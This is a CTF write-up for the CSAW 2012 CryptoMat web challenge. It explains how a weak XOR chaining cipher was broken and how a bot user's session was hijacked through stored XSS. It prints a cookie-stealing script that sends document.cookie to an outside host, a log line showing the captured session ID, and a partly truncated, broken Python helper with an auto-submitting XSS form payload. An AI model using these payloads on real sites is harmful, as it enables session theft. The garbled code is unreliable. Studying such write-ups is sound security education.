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CSAW CTF 2012 CryptoMat(web400) writeup

aus der Kategorie Hacking


Register at Send yourself messages until you figure out how the algorithm for encrypting works.


In short, it is an XOR algorithm which works like this
enc[0] = IV ^ KEY ^ PLAINTEXT[0]  # PLAINTEXT[0] and enc[0] is equal 8bytes
enc[1] = KEY ^ enc[0] ^ PLAINTEXT[1]
enc[2] = KEY ^ enc[1] ^ PLAINTEXT[2]
This works both ways for encrypting and decrypting. The IV can be found out relative easily we set PLAINTEXT[0] = KEY and we get the following IV ['0x17', '0x34', '0x17', '0x39', '0x11', '0x35', '0x24', '0x36'].


We can now proceed to get Dogs' SessionID. After injecting
<form id="f" method="POST" action="compose.php">
    <input name="to" value="test12">
    <input name="title" value="pw">
    <input name="key" value="a">
    <input name="text" id="t">
through the text field, we see... NOTHING. Apparently Dog has read its mail(message changes color when read), but doesn't reply back. The next try looks like this
<script>var url="http://$URL$?session="+document.cookie,theimg = document.createElement("img");theimg.src=url;document.body.appendChild(theimg);"none";</script>
Meanwhile on the serverside: >>128.238.*.* - - [30/Sep/2012:04:08:56 +0200] "GET /?session=PHPSESSID=****************3208r7aj40 HTTP/1.1" 200 8937 "http://localhost/download.php?id=101649" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:15.0) Gecko/20100101 Firefox/15.0.1

Hello, yes this is dog

Change your session ID to dog, check messages id 1 to 6 (
1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56",
2: "\x17\x75\x56\x78\x50\x74\x65\x77",
3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e",
4: "\x17\x75\x56\x78\x50\x74\x65\x77",
5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b",
6: "\x17\x75\x56\x78\x50\x74\x65\x77",
and check the titles(5 Cat key is ILIKECARROTS). With this key we can read some of the messages and go further into the rabbit-hole. With the help if the obove key we decrypt all messages which results in one particular message: Catsareawesome.
After decrypting all the messages with this key and we get: Here, KEY{ITHISISAFLOwEERPOTTytPos} . Finished.
#!/usr/bin/env python
# by spq
import re
import urllib

import urllib2

def compose(_to, _title, _key, _text):
    r =
        urllib.urlencode({"to": _to, "title": _title, "key": _key, "text": _text}),

def get_last_msgid():
    p = re.compile('download[.]php[?]id=([0-9]+)"')
    last = None
    for m in p.finditer("").read()):
        last =
    return last

def get_msg(i):
    r ="" + i).read()
    return r[619:-31]

def get_last_msg():
    return get_msg(get_last_msgid())

opener = urllib2.build_opener()
opener.addheaders.append(("Cookie", "PHPSESSID=$SESSSION"))

def xor(a, b):
    assert len(a) == len(b)
    ret = ""
    for i in xrange(0, len(a)):
        ret += chr(ord(a[i]) ^ ord(b[i]))
    return ret

def enc(key, text):
    iv = "\x17\x34\x17\x39\x11\x35\x24\x36"
    result = ""
    while len(text) % 8:
        text += chr("\x00")
    extendedkey = key
    while len(extendedkey) < len(text):
        extendedkey += key
    for i in xrange(0, len(text), 8):
        part = text[i : i + 8]
        result += xor(xor(extendedkey[i : i + 8], iv), part)
        iv = part
    return result

# compose("Dog", "foo", "aabb", enc("aabbaabb",'<form id="f" method="POST" action="compose.php"><input name="to" value="spq"><input name="title" value="pw"><input name="key" value="a"><input name="text" id="t"></form><script>document.getElementById("t").value=document.cookie;document.getElementById("f").submit();</script>'))

# print get_last_msg()

# T= {
#        1: "\x1c\x30\x11\x2f\x5c\x67\x0a\x12\x32\x2e\x2b\x14\x79\x4b\x1a\x3a\x15\x1c\x0c\x2a\x53\x5d\x28\x1a\x34\x23\x2e\x1b\x44\x45\x28\x39\x3a\x22\x36\x7a\x33\x20\x5b\x56",
#        2: "\x17\x75\x56\x78\x50\x74\x65\x77",
#        3: "\x1d\x19\x2a\x01\x35\x04\x00\x05\x38\x33\x0d\x3d\x11\x2d\x49\x4e",
#        4: "\x17\x75\x56\x78\x50\x74\x65\x77",
#        5: "\x61\x47\x61\x4d\x6b\x49\x5a\x5b",
#        6: "\x17\x75\x56\x78\x50\x74\x65\x77",
# }
# for i in range(1,6):
# print enc("ILIKECARROTS", T[i])
# print enc("Catsareawesome", T[i])

hzgf. am 30. September 2012